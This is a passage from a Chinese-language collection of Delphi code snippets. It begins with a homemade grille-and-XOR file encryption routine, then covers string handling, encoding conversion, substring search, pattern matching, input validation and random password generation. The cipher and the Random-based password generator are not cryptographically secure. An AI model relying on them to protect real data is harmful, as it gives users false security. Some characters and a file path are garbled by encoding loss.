Half:= Max div 2;

Start:= PassL-Half;

for Bit:= 1 to Half do

begin

Y:= Start+Bit; X:= 1; Sum:= 0;

repeat

Inc (Sum, Abs(Ord(Password[X])-Ord(Password[Y])));

Inc (X); Dec (Y);

until X>=Y;

Code[Bit]:= Sum;

end;

for Bit:= Half+1 to Max do

begin

Y:= PassL; X:= Bit-Half+1; Sum:= 0;

repeat

Inc (Sum, Abs(Ord(Password[X])-Ord(Password[Y])));

Inc (X); Dec (Y);

until X>=Y;

Code[Bit]:=Sum;

end;

for Bit:= Max+1 to CodeSize do

Code[Bit]:= Code[Bit-Max];

Y:= 1; Bit:= 0;

FillChar (Key, SizeOf(Key), False);

for Y:= 1 to WinSize shr 1 do

for X:= Y to WinSize shr 1 do

begin

Inc (Bit);

B:=Code[Bit] mod 4;

A:=Code[Bit] shr 2 mod 4;

case B of

0:Key[X, Y]:= True;

1:Key[WinSize+1-Y, X]:= True;

2:Key[WinSize+1-X, WinSize+1-Y]:= True;

3:Key[Y, WinSize+1-X]:= True;

end;

if not ((X=Y) or (X+Y=WinSize+1)) then

case A of

0:Key[Y, X]:= True;

1:Key[X, WinSize+1-Y]:= True;

2:Key[WinSize+1-Y, WinSize+1-X]:= True;

3:Key[WinSize+1-X, Y]:= True;

end;

end;

end;

procedure TurnKey (var Key: TKey);

var

TempKey: TKey;

I, J: Integer;

begin

for I:=1 to WinSize do

for J:=1 to WinSize do

TempKey[J, WinSize+1-I]:= Key[I, J];

Key:= TempKey;

end;

procedure Encrypt (SName, TName, Password: string);

const

Count = WinSize*WinSize;

var

Buf: array[1..Count] of Byte;

Matrix: array[1..WinSize, 1..WinSize] of Byte;

CurKey: TKey;

I, J, X, Y, PassL, Result, PassD: Integer;

begin

InitKey (Password);

Assign (SFile, SName);

Assign (TFile, TName);

Reset (SFile, 1);

Rewrite (TFile, 1);

PassL:= Length(Password); PassD:= PassL; CurKey:= Key;

FSize:= FileSize(SFile);

BlockWrite (TFile, FSize, SizeOf(FSize));

FillChar (Buf, SizeOf(Buf), 0);

BlockRead (SFile, Buf, Count, Result);

while Result>0 do

begin

if Result<Count then

for I:= Result+1 to Count do

begin

RandSeed:= MaxAvail;

Buf[I]:= Random(256);

end;

for I:= 1 to Count do

begin

Inc (PassD);

if PassD>PassL then PassD:= 1;

Buf[I]:= Buf[I] xor Byte(Password[PassD]);

end;

J:= 0;

for I:= 1 to 4 do

begin

for X:= 1 to WinSize do

for Y:= 1 to WinSize do

if CurKey[X, Y] then

begin

Inc (J);

Matrix[X, Y]:= Buf[J];

end;

TurnKey (CurKey);

end;

BlockWrite (TFile, Matrix, Count);

FillChar (Buf, SizeOf(Buf), 0);

BlockRead (SFile, Buf, Count, Result);

end;

Close (TFile);

Close (SFile);

end;

procedure Decrypt (SName, TName, Password: string);

const

Count = WinSize*WinSize;

var

Buf: array[1..Count] of Byte;

Matrix: array[1..WinSize, 1..WinSize] of Byte;

CurKey: TKey;

I, J, X, Y, PassL, Result, PassD: Integer;

Readed, EofSign: LongInt;

begin

InitKey (Password);

Assign (SFile, SName);

Assign (TFile, TName);

Reset (SFile, 1);

Rewrite (TFile, 1);

PassL:= Length(Password); PassD:= PassL; CurKey:= Key;

FSize:= 0;

BlockRead (SFile, FSize, SizeOf(FSize));

FillChar (Matrix, SizeOf(Matrix), 0);

BlockRead (SFile, Matrix, Count, Result);

Readed:= 0;

while Result>0 do

begin

J:= 0;

EofSign:= FSize-Readed;

for I:= 1 to 4 do

begin

for X:= 1 to WinSize do

for Y:= 1 to WinSize do

if CurKey[X, Y] then

begin

Inc (J);

Buf[J]:= Matrix[X, Y];

end;

TurnKey (CurKey);

end;

for I:= 1 to Count do

begin

Inc (PassD);

if PassD>PassL then PassD:= 1;

Buf[I]:= Buf[I] xor Byte(Password[PassD]);

if I=EofSign then

begin

BlockWrite (TFile, Buf, I);

Close (TFile);

Close (SFile);

Exit;

end;

end;

BlockWrite (TFile, Buf, Count);

FillChar (Matrix, SizeOf(Matrix), 0);

BlockRead (SFile, Matrix, Count, Result);

Inc (Readed, Count);

end;

Close (TFile);

Close (SFile);

end;

end.


string作为Pchar的使用

有的时候，调用API需要Pchar作为参数，但是PChar的使用非常烦，如果用string代替就好了！那么我们可以这样做：

var

s:string;

....

setlength(s,100);

getwindowdirectory(pchar(s),length(s));


从字符串中取数字

function GetNumFromStr(const str: String;const hex:boolean=false): String;

var

i:integer;

charset:Set of char;

begin

if hex then

charset:=['0'..'9','a'..'f','A'..'F','.']

else

charset:=['0'..'9','.'];

for i := 1 to Length(str) do

begin

if (str[i] in charset) then

result:= result + uppercase(str[i]);

end;

end;

可以取得十六进制的数字！可以包含小数点，但你必须保证只有一个小数点！


字符串

? AnsiString 这是 Pascal 缺省的字符串类型，它由 AnsiChar 字符组成，其长度没有限制，同时与null 结束的字符串相兼容。

? ShortString 保留该类型是为了向后兼容Delphi 1.0 ，它的长度限制在 255 个字符内。

? WideString 功能上类似于AnsiString，但它是由 WideChar 字符组成的。

? PChar 指向 null 结束的 Char 字符串的指针，类似于 C 的char * 或 lpstr 类型。

? PAnsiChar 指向 null 结束的 AnsiChar 字符串的指针。

? PWideChar 指向 null 结束的 WideChar 字符串的指针。

缺省情况下，如果用如下的代码来定义字符串，编译器认为是 AnsiString 字符串：

var

S:string; //编译器认为S 的类型是 AnsiString

当然，能用编译开关 $H 来将 string 类型定义为 ShortString ，当 $H 编译开关的值为负时， string 变量

是 ShortString 类型；当$ H 编译开关的值为正时(缺省情况)，字符串变量是 AnsiString 类型。

*********************

字符串string 字符数组与指向字符串的指针pchar的区别与联系

    这3者的基本概念相同,但有一些非常细微的差别,在编程时稍不注意就会出错,需高度重视。

    1、使用指向字符串的指针,如果不是以0结尾,运行时就会出现错误。为了避免这种错误,需要在字符串结尾人工加入0 即char(0),或用strpcopy函数在字符串结尾自动加0。

    例1: 指向字符串的指针,如果不是以0结尾,运行时会出现错误:

    {s[0]=3 s[1]='n' s[2]='e' s[3]='w'}

    var

    s:string;

p:pchar;

    begin

    s:='new';

   label1.caption:=s; {new}

  label2.caption:=intTostr(integer(s[0]));{3是字符串的长度}

    p:=@s[1];{不是以0结尾,莫用pchar型指针}

     label3.caption:=strpas(p); {运行时出现错误}

    end;

    例2:在字符串结尾人工加入0即char(0),可使用指向字符串的指针。

    {s[0]=4 s[1]='n' s[2]='e' s[3]='w' s[4]=0;}

    {p－－>'new'}

    var

s:string;

p:pchar;

    begin

    p:=@s[1];

    s:='new'+char(0); {以0结尾,可用pchar型指针}

    label1.caption:=strpas(p); {new}

    label2.caption:=s; {new}

     label3.caption:=intTostr(integer(s[0])); {4是字符串长度}

    end;

    例3: 用strpcopy函数赋值会在字符串s结尾自动加0。

    {s[0]=4 s[1]='n' s[2]='e' s[3]='w' s[4]=0;}

    {p－－>'new'}

    var

s:string;

p:pchar;

    begin

    p:=@s[1];

  strpcopy(p,'new');{strpcopy函数在字符串结尾自动加0}

    label1.caption:=strpas(p);{new}

     label2.caption:=s;{new}

    label3.caption:=intTostr(integer(s[0]));{4}

    end;

    2、下标为0的字符串标识符存放的是字符串长度,字符型数组基本相当于字符串,但不能存放字符串长度。字符串可以用s:='a string'的形式赋值,但是字符型数组a[ ]不可直接用a:='array'的形式赋值,用此种形式会出现类型不匹配错误,可选用strpcopy函数赋值。

    例4: 字符型数组s[ ]相当于字符串,但没有存放字符串长度的位置。

    {s[1]='n' s[2]='e' s[3]='w' s[4]=0;}

    {p－－>'new'}

    var

s:array[1..10] of char;

p:pchar;

    begin

    {s:='new'+char(0); error}{错误}

    p:=@s[1];

    {p:=@s; is not correct}

    strpcopy(p,'new');

    label1.caption:=strpas(p);{new}

    label2.caption:=s;{new}

     {label3.caption:=intTostr(integer(s[0]));}{不会出现4, 下标超出错误}

    end;

    例5:下标从0开始的字符数组s,s相当于@s[0]。

    { s[0]='n' s[1]='e' s[2]='w' s[3]=0;}{p－－>'new'}

    var

s:array[1..10] of char;

p:pchar;

    begin

    {s:='new'+char(0); error}{错误}

   p:=s;

    {p:=@s[0] is also correct}

    strpcopy(p,'new');

    label1.caption:=strpas(p);{new}

    label2.caption:=s;{new}

    label3.caption:=s[0];{n}

end;

    3、下标从0开始和从1开始的字符数组地址的表示方法也有细微不同:

    例6:下标从1开始的数组a 与下标从0开始的数组b 的比较。

    var

a:array[1..10]of char;

b:array[0..10]of char;

    {a:='1..10';}{type mismatch}

    {b:='0..10';}{type mismatch}

begin

    strpcopy( b, 'from 0 to 10'); {正确 因为b即是@b[0] }

    strpcopy(@b[0], 'from 0 to 10'); {正确 与上个表达式结果相同}

    strpcopy(@a[1], 'from 1 to 10'); {正确 }

    strpcopy( a, 'from 1 to 10'); {类型匹配错误 因为a即是@a[0]}

end;


反查漢字拼音

var

iHandleCount: integer;

pList: array[1..nHKL_LIST] of HKL;

szImeName: array[0..254] of char;

i: integer;

sFound: string;

begin

lstComposition.Items.Clear;

iHandleCount := GetKeyboardLayoutList(nHKL_LIST, pList);

for i := 1 to iHandleCount do

begin

if ImmEscape(pList[i], 0, IME_ESC_IME_NAME, @szImeName) > 0 then

begin

sFound := QueryCompStr(pList[i], edtExam.Text);

if sFound <> '' then

lstComposition.Items.Add(StrPas(szImeName) + ': ' + sFound);

end;

end;

**************

金山词霸(2.0-2000版本)内有gb2py.idx和gbk2py.idx,内有国标

GB、GBK的每个汉字的拼音和声调。可用拿来一用。

下面上Delphi写的gb2py函数。

function gb2py(hanzi:pchar):pchar;

var

Sfile:Tmemorystream;

pos,temp,ipos,len:integer;

py:array[0..20] of char;

begin

pos:=($fe-$a1)*(ord(hanzi[0])-$b0)+ord(hanzi[1])-$a1;

sfile:=Tmemorystream.create;

sfile.loadfromfile('C:Filespy.idx');

//data:=sfile.memory;

sfile.Seek($1608+pos*4,soFromBeginning);

sfile.Read(ipos,4);

sfile.Read(temp,4);

len:=temp-ipos;

sfile.Seek(ipos+1,soFromBeginning);

sfile.Read(py,len);

py[len-1]:=#0;

sfile.Free;

result:=py;

end;


String——>Pwidechar

function StringToWideChar(const Source: string; Dest: PWideChar;

DestSize: Integer): PWideChar;

function StringToOleStr(const Source: string): PWideChar;


如何区分中英文字符

function ByteType(const S: string; Index: Integer): TMbcsByteType;

IsDBCSLeadByte

告诉你一个非常有用的函数。

bytetype 它可以判断一个字符串中，某个 Char 是单个字母，还是双字节的前一位或

后一位。

mbSingleByte 单字母

mbLeadByte 双字节第一位

mbTrailByte 双字节第二位


枚举类型转为字符串类型

uses

TypInfo;

type

TTest = (a, b, c, d, haha, yeah);

procedure TForm1.Button1Click(Sender: TObject);

var

ti: PTypeInfo;

td: PTypeData;

i: Integer;

begin

ti := TypeInfo(TTest);

td := GetTypeData(ti);

for i := td^.MinValue to td^.MaxValue do

ListBox1.Items.Add(GetEnumName(ti, i));

end;


UTF-8字符串转为AnsiString

//江雪 2001.06.11 http://asnowcn.at.china.com

//将utf-8字符串转为代码页为codepage的ansistring。

function utf8toansistring(utf8str:string; codepage:integer):ansistring;

var

i:integer;

buffer:widestring;

ch,c1,c2:byte;

begin

result:='';

i:=1;

while i<=length(utf8str) do begin

ch:=byte(utf8str[i]);

setlength(buffer,length(buffer)+1);

if (ch and $80)=0 then //1-byte

buffer[length(buffer)]:=widechar(ch)

else begin

if (ch and $e0) = $c0 then begin // 2-byte

inc(i);

c1 := byte(utf8str[i]);

buffer[length(buffer)]:=widechar((word(ch and $1f) shl 6) or (c1 and $3f));

end

else begin // 3-byte

inc(i);

c1 := byte(utf8str[i]);

inc(i);

c2 := byte(utf8str[i]);

buffer[length(buffer)]:=widechar(

(word(ch and $0f) shl 12) or

(word(c1 and $3f) shl 6) or

(c2 and $3f));

end;

end;

inc(i);

end; //while

i := widechartomultibyte(codepage,

wc_compositecheck or wc_discardns or wc_sepchars or wc_defaultchar,

@buffer[1], -1, nil, 0, nil, nil);

if i>1 then begin

setlength(result, i-1);

widechartomultibyte(codepage,

wc_compositecheck or wc_discardns or wc_sepchars or wc_defaultchar,

@buffer[1], -1, @result[1], i-1, nil, nil);

end;

end;


转换中文数字

转换中文数字

//将指定数字转换成汉字的函数,UpperWord(源数字,是否货币汉字,是否自动加位数);

function UpperWord(IDigital:integer;money:Boolean=false;AddBit:Boolean=false):string;

var SDigital,sWord,SReturn:string;

ITmp:integer;

begin

if Money then SWord:='零壹贰叁肆伍陆柒捌玖' else SWord:='零一二三四五六七八九';

SDigital:=inttostr(IDigital);

SReturn:='';

ITmp:=Length(SDigital);

while ITmp>0 do

begin

SReturn:=SReturn+copy(SWord,strtoint(copy(SDigital,1,1))*2+1,2);

if AddBit then

begin

if copy(SDigital,1,1)='0' then

if copy(SReturn,length(SReturn)-3,4)='零零' then SReturn:=copy(SReturn,1,length(SReturn)-2);

case ITmp of

2,6,10:if copy(SDigital,1,1)<>'0' then SReturn:=SReturn+'十';

3,7,11:if copy(SDigital,1,1)<>'0' then SReturn:=SReturn+'百';

4,8,12:if copy(SDigital,1,1)<>'0' then SReturn:=SReturn+'千';

5:if copy(SDigital,1,1)<>'0' then SReturn:=SReturn+'万' else (if copy(SReturn,length(SReturn)-3,2)='亿' then SReturn:=copy(SReturn,1,length(SReturn)-2) else SReturn:=copy(SReturn,1,length(SReturn)-2)+'万');

9:if copy(SDigital,1,1)<>'0' then SReturn:=SReturn+'亿' else SReturn:=copy(SReturn,1,length(SReturn)-2)+'亿';

end;

end;

SDigital:=copy(SDigital,2,255);

ITmp:=Length(SDigital);

end;

if AddBit then

while copy(SReturn,length(SReturn)-1,2)='零' do

SReturn:=copy(SReturn,1,length(SReturn)-2);

UpperWord:=SReturn;

end;


统计子串在父串中的次数

{ 2002.8.5 Kingron }

{ Source:Source string }

{ Sub:Sub string }

{ Return:Count }

{ Ex:StrSubCount('abcdbcd','bc')=2 }

function StrSubCount(const Source, Sub: string): integer;

var

Buf : string;

i : integer;

Len : integer;

begin

Result := 0;

Buf:=Source;

i := Pos(Sub, Buf);

Len := Length(Sub);

while i <> 0 do

begin

Inc(Result);

Delete(Buf, 1, i + Len -1);

i:=Pos(Sub,Buf);

end;

end; { StrSubCount }

{ 下面这个函数返回SubStr在S中指定位置开始后的位置 }

{ 例如：PosExx('ab','abcabcab',3)返回4 }

function PosExx(const substr: AnsiString; const s: AnsiString; const start: Integer): Integer;

type

StrRec = record

allocSiz: Longint;

refCnt: Longint;

length: Longint;

end;

const

skew = sizeof(StrRec);

asm

{ ->EAX Pointer to substr }

{ EDX Pointer to string }

{ ECX Pointer to start //cs }

{ <-EAX Position of substr in s or 0 }

TEST EAX,EAX

JE @@noWork

TEST EDX,EDX

JE @@stringEmpty

TEST ECX,ECX

JE @@stringEmpty

PUSH EBX

PUSH ESI

PUSH EDI

MOV ESI,EAX { Point ESI to }

MOV EDI,EDX { Point EDI to }

MOV EBX,ECX

MOV ECX,[EDI-skew].StrRec.length

PUSH EDI { remembers position to calculate index }

CMP EBX,ECX

JG @@fail

MOV EDX,[ESI-skew].StrRec.length { EDX = bstr }

DEC EDX { EDX = Length(substr) - }

JS @@fail { < 0 ? return }

MOV AL,[ESI] { AL = first char of }

INC ESI { Point ESI to 2'nd char of substr }

SUB ECX,EDX { #positions in s to look }

{ = Length(s) - Length(substr) + 1 }

JLE @@fail

DEC EBX

SUB ECX,EBX

JLE @@fail

ADD EDI,EBX

@@loop:

REPNE SCASB

JNE @@fail

MOV EBX,ECX { save outer loop }

PUSH ESI { save outer loop substr pointer }

PUSH EDI { save outer loop s }

MOV ECX,EDX

REPE CMPSB

POP EDI { restore outer loop s pointer }

POP ESI { restore outer loop substr pointer }

JE @@found

MOV ECX,EBX { restore outer loop nter }

JMP @@loop

@@fail:

POP EDX { get rid of saved s nter }

XOR EAX,EAX

JMP @@exit

@@stringEmpty:

XOR EAX,EAX

JMP @@noWork

@@found:

POP EDX { restore pointer to first char of s }

MOV EAX,EDI { EDI points of char after match }

SUB EAX,EDX { the difference is the correct index }

@@exit:

POP EDI

POP ESI

POP EBX

@@noWork:

end;

{ PosEx返回Sub在Source中第Index次出现的位置，若出现的次数不足，返回0，若找不到，返回0 }

{ 例如：PosEx('abcdbcd','bcd',2)返回5，PosEx('abcdbcd','adb')返回0,PoxEx('abc','a',2)返回0 }

function PosEx(const Source, Sub: string; Index: integer): integer;

var

Buf : string;

i, Len, C : integer;

begin

C := 0;

Result := 0;

Buf := Source;

i := Pos(Sub, Source);

Len := Length(Sub);

while i <> 0 do

begin

inc(C);

Inc(Result, i);

Delete(Buf, 1, i + Len - 1);

i := Pos(Sub, Buf);

if C >= Index then Break;

if i > 0 then Inc(Result, Len - 1);

end;

if C < Index then Result := 0;

end;

下面是ZsWang写的代码，效率可能要高一些：

function PosEx1(const Source, Sub: string; Index: Integer = 1): Integer;

var

I, J, K, L: Integer;

T: string;

begin

Result := 0;

T := Source;

K := 0;

L := Length(Sub);

for I := 1 to Index do begin

J := Pos(Sub, T);

if J <= 0 then Exit;

Delete(T, 1, J + L - 1);

Inc(K, J + L - 1);

end;

Dec(K, L - 1);

Result := K;

end; { PosEx1 }

下面是Dirk写的，用的实递归：

function PosN(Substring, Mainstring: string; n: Integer): Integer;

{

Function PosN get recursive - the N th position of "Substring" in

"Mainstring". Does the Mainstring not contain Substrign the result

is 0. Works with chars and strings.

}

begin

if Pos(substring, mainstring) = 0 then

begin

posn := 0;

Exit;

end

else

begin

if n = 1 then

posn := Pos(substring, mainstring)

else

begin

posn := Pos(substring, mainstring) + posn(substring, Copy(mainstring,

(Pos(substring, mainstring) + 1), Length(mainstring)), n - 1);

end;

end;

end;


反转字符串

function ReverseString1(const s: string): string;

var

i, len: Integer;

begin

len := Length(s);

SetLength(Result, len);

for i := len downto 1 do

begin

Result[len - i + 1] := s[i];

end;

end;

function ReverseString2(const Str: string): string;

// by Ido Kanner

var

ch: Char;

i, Size: Integer;

begin

Result := Str;

Size := Length(Result);

if (Size >= 2) then

// 2 or more chars

begin

// For 1 to middle of the string

for i := 1 to (Size div 2) do

begin

// Lets get the charecter of the current place in the string

ch := Result[i];

// Place the Current pos of the char

// with the char of it's mirror place...

Result[i] := Result[Size - (i - 1)];

// In the mirror place we will put char of the

// Original place... And we switched places !!!

Result[Size - (i - 1)] := ch;

end

end;

end;

function ReverseString3(S: string): string;

// by Rudy Velthuis

var

P, Q: PChar;

C: Char;

begin

Result := S;

if Length(Result) = 0 then Exit;

P := PChar(Result);

Q := P + Length(Result) - 1;

while P < Q do

begin

C := P^;

P^ := Q^;

Q^ := C;

Inc(P);

Dec(Q);

end;

end;

procedure ReverseString4(var S: string);

// by Rudy Velthuis

var

P, Q: PChar;

C: Char;

begin

if Length(S) = 0 then Exit;

P := PChar(S);

Q := P + Length(S) - 1;

while P < Q do

begin

C := P^;

P^ := Q^;

Q^ := C;

Inc(P);

Dec(Q);

end;

end;


把一个字符串拆分成单词

Author:Peter Below

procedure SplitTextIntoWords(const S: string; words: TstringList);

var

startpos, endpos: Integer;

begin

Assert(Assigned(words));

words.Clear;

startpos := 1;

while startpos <= Length(S) do

begin

// skip non-letters

while (startpos <= Length(S)) and not IsCharAlpha(S[startpos]) do

Inc(startpos);

if startpos <= Length(S) then

begin

// find next non-letter

endpos := startpos + 1;

while (endpos <= Length(S)) and IsCharAlpha(S[endpos]) do

Inc(endpos);

words.Add(Copy(S, startpos, endpos - startpos));

startpos := endpos + 1;

end; { If }

end; { While }

end; { SplitTextIntoWords }

function StringMatchesMask(S, mask: string;

case_sensitive: Boolean): Boolean;

var

sIndex, maskIndex: Integer;

begin

if not case_sensitive then

begin

S := AnsiUpperCase(S);

mask := AnsiUpperCase(mask);

end; { If }

Result := True; // blatant optimism

sIndex := 1;

maskIndex := 1;

while (sIndex <= Length(S)) and (maskIndex <= Length(mask)) do

begin

case mask[maskIndex] of

'?':

begin

// matches any character

Inc(sIndex);

Inc(maskIndex);

end; { case '?' }

'*':

begin

// matches 0 or more characters, so need to check for

// next character in mask

Inc(maskIndex);

if maskIndex > Length(mask) then

// * at end matches rest of string

Exit

else if mask[maskindex] in ['*', '?'] then

raise Exception.Create('Invalid mask');

// look for mask character in S

while (sIndex <= Length(S)) and

(S[sIndex] <> mask[maskIndex]) do

Inc(sIndex);

if sIndex > Length(S) then

begin

// character not found, no match

Result := False;

Exit;

end;

{ If }

end; { Case '*' }

else if S[sIndex] = mask[maskIndex] then

begin

Inc(sIndex);

Inc(maskIndex);

end { If }

else

begin

// no match

Result := False;

Exit;

end;

end; { Case }

end; { While }

// if we have reached the end of both S and mask we have a complete

// match, otherwise we only have a partial match

if (sIndex <= Length(S)) or (maskIndex <= Length(mask)) then

Result := False;

end; { stringMatchesMask }

procedure FindMatchingWords(const S, mask: string;

case_sensitive: Boolean; matches: Tstrings);

var

words: TstringList;

i: Integer;

begin

Assert(Assigned(matches));

words := TstringList.Create;

try

SplitTextIntoWords(S, words);

matches.Clear;

for i := 0 to words.Count - 1 do

begin

if stringMatchesMask(words[i], mask, case_sensitive) then

matches.Add(words[i]);

end; { For }

finally

words.Free;

end;

end;

{

The Form has one TMemo for the text to check, one TEdit for the mask,

one TCheckbox (check = case sensitive), one TListbox for the results,

one Tbutton

}

procedure TForm1.Button1Click(Sender: TObject);

begin

FindMatchingWords(memo1.Text, edit1.Text, checkbox1.Checked, listbox1.Items);

end;


检查一个字符串是否是合法???

是否是合法的E-Mail地址：

function MailURLMayBeInvalid(const s: string): Boolean;

var

i: Integer;

c: string;

begin // ' ', ?, ?, ü, ?, [, ], (, ), : in EMail-Address

Result := (Trim(s) = '') or (Pos(' ', AnsiLowerCase(s)) > 0) or

(Pos('?', AnsiLowerCase(s)) > 0) or (Pos('?', AnsiLowerCase(s)) > 0) or

(Pos('ü', AnsiLowerCase(s)) > 0) or (Pos('?', AnsiLowerCase(s)) > 0) or

(Pos('[', AnsiLowerCase(s)) > 0) or (Pos(']', AnsiLowerCase(s)) > 0) or

(Pos('(', AnsiLowerCase(s)) > 0) or (Pos(')', AnsiLowerCase(s)) > 0) or

(Pos(':', AnsiLowerCase(s)) > 0);

if Result then Exit; // @ not in EMail-Address;

i := Pos('@', s);

Result := (i = 0) or (i = 1) or (i = Length(s));

if Result then Exit;

Result := (Pos('@', Copy(s, i + 1, Length(s) - 1)) > 0);

if Result then Exit; // Domain <= 1

c := Copy(s, i + 1, Length(s));

Result := Length(c) <= 1;

if Result then Exit;

i := Pos('.', c);

Result := (i = 0) or (i = 1) or (i = Length(c));

end;

是否是合法的IP地址：

function IsWrongIP(ip: string): Boolean;

var

z, i: byte;

st: array[1..3] of byte;

const

ziff = ['0'..'9'];

begin

st[1] := 0;

st[2] := 0;

st[3] := 0;

z := 0;

Result := False;

for i := 1 to Length(ip) do if ip[i] in ziff then

else

begin

if ip[i] = '.' then

begin

Inc(z);

if z < 4 then st[z] := i

else

begin

IsWrongIP := True;

Exit;

end;

end

else

begin

IsWrongIP := True;

Exit;

end;

end;

if (z <> 3) or (st[1] < 2) or (st[3] = Length(ip)) or (st[1] + 2 > st[2]) or

(st[2] + 2 > st[3]) or (st[1] > 4) or (st[2] > st[1] + 4) or (st[3] > st[2] + 4) then

begin

IsWrongIP := True;

Exit;

end;

z := StrToInt(Copy(ip, 1, st[1] - 1));

if (z > 255) or (ip[1] = '0') then

begin

IsWrongIP := True;

Exit;

end;

z := StrToInt(Copy(ip, st[1] + 1, st[2] - st[1] - 1));

if (z > 255) or ((z <> 0) and (ip[st[1] + 1] = '0')) then

begin

IsWrongIP := True;

Exit;

end;

z := StrToInt(Copy(ip, st[2] + 1, st[3] - st[2] - 1));

if (z > 255) or ((z <> 0) and (ip[st[2] + 1] = '0')) then

begin

IsWrongIP := True;

Exit;

end;

z := StrToInt(Copy(ip, st[3] + 1, Length(ip) - st[3]));

if (z > 255) or ((z <> 0) and (ip[st[3] + 1] = '0')) then

begin

IsWrongIP := True;

Exit;

end;

end;


产生随机密码或字符串

function RandomPassword(PLen: Integer): string;

var

str: string;

begin

Randomize;

//string with all possible chars

str := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

Result := '';

repeat

Result := Result + str[Random(Length(str)) + 1];

until (Length(Result) = PLen)

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

//generate a password with 10 chars

label1.Caption := RandomPassword(10);

end;

// Another function from ReNoiZer /=RNZ=/; renoizer@mail.ru

function RandomWord(dictSize, lngStepSize, wordLen, minWordLen: Integer): string;

begin

Result := '';

if (wordLen < minWordLen) and (minWordLen > 0) then

wordLen := minWordLen

else if (wordLen < 1) and (minWordLen < 1) then wordLen := 1;

repeat

Result := Result + Chr(Random(dictSize) + lngStepSize);

until (Length(Result) = wordLen);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

//generate a password with 10 chars

Caption := RandomWord(33, 54, Random(12), 2);

end;


字符串的模糊匹配，支持?和*

function Matchstrings(Source, pattern: string): Boolean;

var

pSource : array[0..255] of Char;

pPattern : array[0..255] of Char;

function MatchPattern(element, pattern: PChar): Boolean;

function IsPatternWild(pattern: PChar): Boolean;

var

t : Integer;

begin

Result := StrScan(pattern, '*') <> nil;

if not Result then Result := StrScan(pattern, '?') <> nil;

end;

begin

if 0 = StrComp(pattern, '*') then

Result := True

else if (element^ = Chr(0)) and (pattern^ <> Chr(0)) then

Result := False

else if element^ = Chr(0) then

Result := True

else

begin

case pattern^ of

'*':

if MatchPattern(element, @pattern[1]) then

Result := True

else

Result := MatchPattern(@element[1], pattern);

'?': Result := MatchPattern(@element[1], @pattern[1]);

else

if element^ = pattern^ then

Result := MatchPattern(@element[1], @pattern[1])

else

Result := False;

end;

end;

end;

begin

StrPCopy(pSource, Source);

StrPCopy(pPattern, pattern);

Result := MatchPattern(pSource, pPattern);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if Matchstrings('Sean Stanley', 'Sean*') then ShowMessage('strings match!');

if Matchstrings('Sean', 'Se?n') then ShowMessage('strings match!');

if not Matchstrings('Sean', 'Se?nn') then ShowMessage('strings don''t match!');

end;


一些字符串处理函数

// Get the Position of a string, starting at the end

function LastPos(SearchStr, Str: string): Integer;

var

i: Integer;

TempStr: string;

begin

Result := Pos(SearchStr, Str);

if Result = 0 then Exit;

if (Length(Str) > 0) and (Length(SearchStr) > 0) then

begin

for i := Length(Str) + Length(SearchStr) - 1 downto Result do

begin

TempStr := Copy(Str, i, Length(Str));

if Pos(SearchStr, TempStr) > 0 then

begin

Result := i;

break;

end;

end;

end;

end;

function LastPos(SubStr, S: string): Integer;

var

Found, Len, Pos: integer;

begin

Pos := Length(S);

Len := Length(SubStr);

Found := 0;

while (Pos > 0) and (Found = 0) do

begin

if Copy(S, Pos, Len) = SubStr then

Found := Pos;

Dec(Pos);

end;

LastPos := Found;

end;

// Search for the next occurence of a string from a certain Position

function NextPos(SearchStr, Str: string; Position: Integer): Integer;

begin

Delete(Str, 1, Position - 1);

Result := Pos(SearchStr, upperCase(Str));

if Result = 0 then Exit;

if (Length(Str) > 0) and (Length(SearchStr) > 0) then

Result := Result + Position + 1;

end;

// Get the number of characters from a certain Position to the string to be searched

function NextPosRel(SearchStr, Str: string; Position: Integer): Integer;

begin

Delete(Str, 1, Position - 1);

Result := Pos(SearchStr, UpperCase(Str)) - 1;

end;

// simple replacement for strings

function ReplaceStr(Str, SearchStr, ReplaceStr: string): string;

begin

while Pos(SearchStr, Str) <> 0 do

begin

Insert(ReplaceStr, Str, Pos(SearchStr, Str));

Delete(Str, Pos(SearchStr, Str), Length(SearchStr));

end;

Result := Str;

end;


字符串和记录的强制转换

下面是一个简单的演示：

type

TEmployee = record

cNo: array [0..3] of Char;

cName: array [0..7] of Char;

end;

PEmployee = ^TEmployee;

procedure ParseData;

const

sData = '0001Mosquito';

var

sNo, sName: string;

begin

with PEmployee(Pointer((@sData)^))^ do

begin

sNo := cNo; // sNo = '0001'

sName := cName; // sName = 'Mosquito'

end

end;


统计单词个数

function WordCount(CText: string): Longint;

function Seps(As_Arg: Char): Boolean;

begin

Seps := As_Arg in

[#0..#$1F, ' ', '.', ',', '?', ':', ';', '(', ')', '/', '\'];

end;

var

Ix : Word;

Work_Count : Longint;

begin

Work_Count := 0;

Ix := 1;

while Ix <= Length(CText) do

begin

while (Ix <= Length(CText)) and (Seps(CText[Ix])) do

Inc(Ix);

if Ix <= Length(CText) then

begin

Inc(Work_Count);

while (Ix <= Length(CText)) and (not Seps(CText[Ix])) do

Inc(Ix);

end;

end;

Result := Work_Count;

end;


指定字符串的全排列

下面是一个演示程序：

program Permute;

{$APPTYPE CONSOLE}

uses SysUtils;

var

R, Slen : Integer;

procedure P(var A: string; B: string);

var

J : Word;

C, D : string;

begin

{ P(N,N) >> R=Slen }

if Length(B) = SLen - R then

begin

Write(' {' + A + '} '); {Per++}

end

else

for J := 1 to Length(B) do

begin

C := B;

D := A + C[J];

Delete(C, J, 1);

P(D, C);

end;

end;

var

Q, S, S2 : string;

begin

S := ' ';

S2 := ' ';

while (S <> '') and (S2 <> '') do

begin

Writeln('');

Writeln('');

Write('P(N,R) N=? : ');

ReadLn(S);

SLen := Length(S);

Write('P(N,R) R=? : ');

ReadLn(S2);

if s2 <> '' then R := StrToInt(S2);

Writeln('');

Q := '';

P(Q, S);

end;

end.


把Byte转换成GB或MB或KB的形式

{************************************************

Formats a partition-/file size

Gibt eine Partitions-/Dateigr??e im Klartext aus

*************************************************}

uses

SysUtils,...;

function BytesToStr(const i64Size: Int64): string;

const

i64GB = 1024 * 1024 * 1024;

i64MB = 1024 * 1024;

i64KB = 1024;

begin

if i64Size div i64GB > 0 then

Result := Format('%.2f GB', [i64Size / i64GB])

else if i64Size div i64MB > 0 then

Result := Format('%.2f MB', [i64Size / i64MB])

else if i64Size div i64KB > 0 then

